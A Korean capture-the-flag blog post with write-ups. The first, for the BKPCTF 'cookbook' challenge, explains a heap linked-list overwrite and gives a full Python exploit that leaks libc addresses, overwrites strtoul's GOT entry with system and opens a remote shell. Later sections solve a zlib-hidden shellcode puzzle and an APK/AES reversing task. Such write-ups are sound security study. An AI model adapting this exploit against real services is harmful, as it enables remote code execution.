0x804a0d0에 들어있는 ptr+0과 ptr+4가 각각 링크드리스트 head를 가리키고있는데, 위에서 Memory Leak할 때 덮어쓴 것처럼 이도 덮어쓰기가 가능하다.

따라서 ptr+4를 0x804a098로 덮어쓰면 다음과 같은 형태가 된다.

     node1 (0x804d098)           node2 (ptr1)        node3 (0x804d034 = strtoul-4)
+------------+              +---------------------+              +------------+
| ingredient |       |----->| ingredient (calory) |       |----->| ingredient |
|------------|       |      |---------------------|       |      |------------|
|    next    |-------|      |    next (price)     |-------|      |    next    |
+------------+              +---------------------+              +------------+

이 때 node2는 0x804d098이 가리키고있는 ingredient객체이므로 새로운 ingredient를 추가하고 칼로리와 가격을 설정해주므로써 next를 조작가능하다.

이런 형태에서 node2를 지우게되면 node1의 next가 0x804d034를 가리키게 된다. 이 주소로 해주는 이유가 있는데, free를 한 뒤에 Linked List를 iterate하면서 Linked List의 전체 개수를 가져오는 함수를 호출하는데, node3는 next->next가 0으로 깔끔하게 끝난다. 이 주소 말고 다른 함수로 하다보면 node3 이후에 next가 0이 아닐 때까지 접근하다가 죽어버린다.

     node3 (0x804d034)               node4 (strtoul)
+--------------------+              +------------+
|     ingredient     |       |----->| ingredient |
|--------------------|       |      |------------|
|    next (strtoul)  |-------|      |   next(0)  |
+--------------------+              +------------+

node2를 free하면서 node1의 next가 0x804d034를 가리키게 되면 price를 설정해주므로써 strtoul의 GOT overwrite가 가능하다. strtoul의 GOT를 system으로 덮어쓰면 Recipe를 추가하는 곳에서 사용자 입력값이 strtoul로 들어가게 된다.


최종 exploit 코드는 다음과 같다. (정리하지 않아 더럽다..)

# -*- coding: utf-8 -*-
# BKPCTF{hey_my_grill_doesnt_work_here}
from socket import *
from struct import pack, unpack
from time import sleep
import re
import yum3

p = lambda x: pack("<I", x)
up = lambda x: unpack("<I", x)[0]

s = socket(2,1)
s.connect(('cookbook.bostonkey.party', 5000))

yum3.recv_until(s, "what's your name?\n")
s.send("asdf\n")
print 'asdf'
yum3.recv_until(s, "[q]uit\n")

##### [1] LEAK puts & calc system
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("n\n")
print 'n'
yum3.recv_until(s, "[q]uit\n")

s.send("d\n")
print 'd'
yum3.recv_until(s, "[q]uit\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("n\n")
print 'n'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("g\n")
print 'g'
s.send("A"*116 + p(0x804d030) +"\n")
print '"A"*116....'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("p\n")
print 'p'
data = yum3.recv_until(s, "[q]uit\n")

puts_addr = up(re.findall(r"recipe type: (.+)", data)[0][:4])
system_addr = puts_addr - 161776
print 'system:', hex(system_addr)

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [2] LEAK 0x804d0a0
s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("g\n")
print 'g'
s.send("A"*116 + p(0x0804d0a0) +"\n")
print '"A"*116....'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("p\n")
print 'p'
data = yum3.recv_until(s, "[q]uit\n")
print data

h804d0a0 = up(re.findall(r"recipe type: (.+)", data)[0][:4])
print 'h804d0a0:',hex(h804d0a0)

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [3] add recipe: water, corn, tomato
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("water\n")
print 'water'
yum3.recv_until(s, "how many? (hex): ")
s.send("1\n")
print '1'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("corn\n")
print 'corn'
yum3.recv_until(s, "how many? (hex): ")
s.send("1\n")
print '1'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("tomato\n")
print 'tomato'
yum3.recv_until(s, "how many? (hex): ")
s.send("1\n")
print '1'
yum3.recv_until(s, "[q]uit\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [4] LEAK 0x804d0a0 => to put in second node for freeing
s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("g\n")
print 'g'
s.send("A"*116 + p(h804d0a0) +"\n")
print '"A"*116....'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("p\n")
print 'p'
data = yum3.recv_until(s, "[q]uit\n")
print data

original_ptr = up(re.findall(r"recipe type: (.+)", data)[0][:4])
print 'original_ptr:',hex(original_ptr)

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [5] make a fake second node
# [cur_ingredient (need to be pointing a real one to prevent dying in free()) | next (=strtoul-4) ]
s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("n\n")
print 'n'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("s\n")
s.send(str(original)+"\n")
print 's %08x' % original
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("p\n")
s.send("134533172\n")
print 'p %08x' % 134533172 # 0x804d038-4 => strtoul-4
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [6] overwrite first node to 0x804d098
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("d\n")
print 'd'
yum3.recv_until(s, "[q]uit\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("g\n")
print 'g'
yum3.recv_until(s, "how long is the name of your cookbook? (hex because you're both a chef and a hacker!) : ")

s.send("f\n")
s.send(p(original)+p(0x0804d098)+'\x00\n')
print 'f original/0x0804d098'
yum3.recv_until(s, "[q]uit\n")

##### [7] free second node => [0x804d098+4] = 0x804d034
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("r\n")
print 'r'
yum3.recv_until(s, "which ingredient to remove? ")

s.send("corn\x00\n")
print 'corn'
yum3.recv_until(s, "[q]uit\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("s\n")
s.send(str(original)+"\n")
print 's %08x' % original
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("p\n")
s.send(str(system_addr-0x100000000)+"\n") # to fit %d
print 'p %08x' % system_addr
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [8] trigger
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("water\n")
print 'water'
yum3.recv_until(s, "how many? (hex): ")
s.send("/bin/sh\n")
print '/bin/sh'

yum3.shell(s)

'''
cndq
ang
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
q
cp

c
a"water"
a"corn"
a"tomato"
q

an => 0x0804d098+4에 뭔가 있음
s 0x0804f6f0 = 0x804f2b0에 들어있는 original node값 # 134543088 # for freeing
p &strtoul@got 0x804d038-4 = 134533172
q
cdq
g 20
0x804f2b0: 0x0804f6c0 0x0804f2b8 ...
set *0x804f2b0= 원래 0x804f2b0에 들어있는 값
set *0x804f2b4= 0x0804d098

c
r"corn"
a
p  &system
q

c
a water
/bin/sh
'''



1. 평소와 다른 인터넷 [100]

--to be added--


2. 0-day is not zeroday [200]

파일을 winhex로 열면 0x200부터 0x2a1까지 이상한 값으로 채워진 것을 볼 수 있는데, 78 9C로 시작하는 것으로 보아 zlib으로 압축된 것을 알 수 있다.

이를 파이썬으로 압축을 풀면 이상한 문자열이 나온다.

이를 hex로 encode해서 출력하면 69210710으로 도배되어있고, 중간에 셸코드 비스무리한게 있는 것을 볼 수 있다.

이를 새로운 바이너리에 붙여넣고 IDA로 열면 결과가 다음과 같다.

0x57주소에서부터 push를 여러번 하는 것을 볼 수 있는데, 값을 보니 문자열인 듯하다. 이를 해석하면 flag를 얻을 수 있다.

print ' RjFORF83SDROS1kwVQ=='.decode('base64')


Flag: F1ND_7H4NKY0U


3. 무엇을 숨기고 있는 걸까 [200]

app-release.apk파일이 주어진다. 확장자를 zip으로 바꿔서 dex파일을 추출하고 dex2jar을 이용하 jar로 변환한 뒤 jdgui를 통해 jar의 소스를 볼 수 있다. 앱을 디컴파일하는 방법은 구글에도 많이 나와있다.

j함수는 파이썬으로 바꿔서 실행하면 다음과 같다.

print "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_?"[27] +\
"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_?"[15] +\
"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_?"[8] + \
"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_?"[49] +\
"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_?"[2] + \
"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_?"[11] +\
"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_?"[4] + \
"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_?"[40] +\
"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_?"[7] + \
"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_?"[3] + \
"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_?"[18] +\
"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_?"[14] +\
"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_?"[3] + \
"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_?"[8] + \
"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_?"[6] + \
"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_?"[9]
# WhoBestGirlgroup

또 a함수를 살펴보면 paramString1을 paramString2로 복호화하는 것을 알 수 있고, onClick 함수를 살펴보면 a(j, i)를 호출한다.

그런데 i는 비어있으므로 j를 어떻게해서든 복호화시켜야 할 것으로 보인다.

처음엔 j를 복호화하면 WhoBestGirlgroup이 되는 줄 알고 AES known plaintext attack을 찾아보는데 이는 불가능하다그래서 좌절하다가 이미 알고 있는 문자열(j, k, "WhoBestGirlgroup")가지고 P와 C를 이리저리 바꿔보다가 다음을 발견했다.

from Crypto.Cipher import AES

BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) 
unpad = lambda s : s[0:-ord(s[-1])]

def decode(c, key):
	d = AES.new(key, AES.MODE_CBC, "\x00"*16)
	return d.decrypt(c)

print decode('BHNRDV1XGb49eg2fgKiExfJ4l5UyBNpVEUQtcDxciEc='.decode('base64'), "WhoBestGirlgroup")
# AoAisGirlgroup!!

따라서 AoAisGirlgroup!! 가 flag인줄 알고 시도해봤는데 틀렸다고나와서 멘붕에 빠졌는데, 이 문자열을 key로 또다시 이것저것 하다가 다음을 발견했다.

print decode('2qydvlQqANT8eI7gok5jPQ=='.decode('base64'), "AoAisGirlgroup!!")
# Hdc0nisAwesome

약간의 guessing이 필요한 문제였다.

Flag: Hdc0nisAwesome


+ Recent posts